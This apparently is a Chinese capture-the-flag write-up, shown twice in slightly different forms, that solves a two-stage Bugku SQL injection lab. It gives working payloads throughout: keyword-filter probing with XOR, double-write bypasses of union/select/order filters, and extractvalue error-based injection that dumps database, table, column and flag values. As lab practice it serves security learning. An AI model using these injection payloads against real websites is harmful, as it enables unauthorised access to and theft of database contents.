考察:
- 过滤的判断length
- 异或符号的使用:
id=1’ ^ (length(‘order’)!=0)%23
- 双写绕过关键词过滤:
id=1’ oorrder by 3%23
、id=0’ uunionnion sselectelect 1,database()%23
- 无法双写绕过时的盲注报错注入:
http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x3a,database(),0x3a))%23
一进去页面发现url:http://120.24.86.145:9004/1ndex.php?id=1
就尝试修改id值,id=1,2,3,4,5到5的时候提示
存在sql注入漏洞,猜测是数字型注入,注入点是id
那试一下id=1’,显示error
猜测可能id被单引号包裹,输入id=1’%23,正确显示信息,那么接下来注出查询列数
输入id=1’ order by 3%23,显示error,将3改为2,又eroor,改为1,还是error,慌了…估计是把order 或者by给过滤了
试一下输入id=1’ ^ (length(‘order’)!=0)%23,显示error,说明不是order被过滤
再试一下输入id=1’ ^ (length(‘or’)!=0)%23
发现正确显示信息,说明or被过滤掉了,类似再尝试一下关键词and,select,union,发现都被过滤了
尝试一下双写可不可以绕过,输入id=1’ oorrder by 2%23
正确显示信息,说明可能是用函数str_replace进行过滤,那么双写即可绕过
输入id=1’ oorrder by 3%23,显示error,说明查询列数为2
接下来就是熟悉爆库
输入id=0’ uunionnion sselectelect 1,database()%23
数据库名:web1002-1
爆表名
输入id=0’ uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23
表名:flag1,hint
爆列名
输入id=0’ uunionnion sselectelect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name=’flag1’%23
列名:flag1,address
爆flag列下的数据
输入id=0’ uunionnion sselectelect 1,flag1 from flag1%23
提交flag{usOwycTju+FTUUzXosjr}发现错误,突然发现提交的地方提示我们flag有两个
就试着注出address列下的数据
输入id=0’ uunionnion sselectelect 1,address from flag1%23
好像发现了新大陆
点击访问下一关
页面的url提示oncemore,并且get参数又是id,猜测还是sql注入
输入id=1’
恩?好像隐约看到了报错信息,不过被背景挡住了,没事,看一下源代码
惊喜发现有报错信息,同时也看出来id被单引号包裹,接着试着注出查询列数
输入id=1’ order by 2%23,正常显示信息,输入id=1’ order by 3%23,报错。所以查询列数为2
接下来注库名
输入id=0’ union select 1,database()%23
发现union被过滤了,试着双写,没办法绕过
于是尝试extractvalue报错注入
输入id=1’ and extractvalue(1,concat(0x3a,database(),0x3a))%23
成功注入库名:web1002-2
输入id=1’ and extractvalue(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a))%23
表名:class,flag2
flag2表下列名:
输入id=1’ and extractvalue(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=’flag2’),0x3a))%23
flag2,address
注出flag:
输入id=1’ and extractvalue(1,concat(0x3a,(select flag2 from flag2),0x3a))%23
flag{Bugku-sql_6s-2i-4t-bug}
作者:Somnus
链接:https://foxgrin.github.io/posts/63286/
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
注出库名
id=0’ uunionnion sselectelect 1,database()%23
注出表名
123.206.87.240:9004/1ndex.php?id=0' uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() %23
flag1,hint
注出列名
123.206.87.240:9004/1ndex.php?id=0' uunionnion sselectelect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1' %23
flag1,address
注出元素1:
123.206.87.240:9004/1ndex.php?id=0' uunionnion sselectelect 1,group_concat(flag1) from flag1 %23
usOwycTju+FTUUzXosjr
注出元素2:
123.206.87.240:9004/1ndex.php?id=0'uunionnion sselectelect 1,group_concat(address) from flag1 %23
跳转到Once_More.php:
id=1'发现注入点
注出列数:2
http://123.206.87.240:9004/Once_More.php?id=1' order by 2%23
排查过滤:
http://123.206.87.240:9004/Once_More.php?id=1' union select 1,database() %23
发现union已经被过滤
尝试双写:
http://123.206.87.240:9004/Once_More.php?id=1' uunionnion sselectelect 1,database() %23
发现没反应则不是双写绕过,干脆不使用union过滤,使用报错注入:
注出库:
http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x3a,database(),0x3a))%23
web1002-2
注出表名:
http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x3a))%23
class,flag2
注出列名:
http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name='flag2'),0x3a))%23
flag2,address
注出元素:
http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue(1,concat(0x3a,(select group_concat(flag2)from flag2),0x3a))%23
flag{Bugku-sql_6s-2i-4t-bug}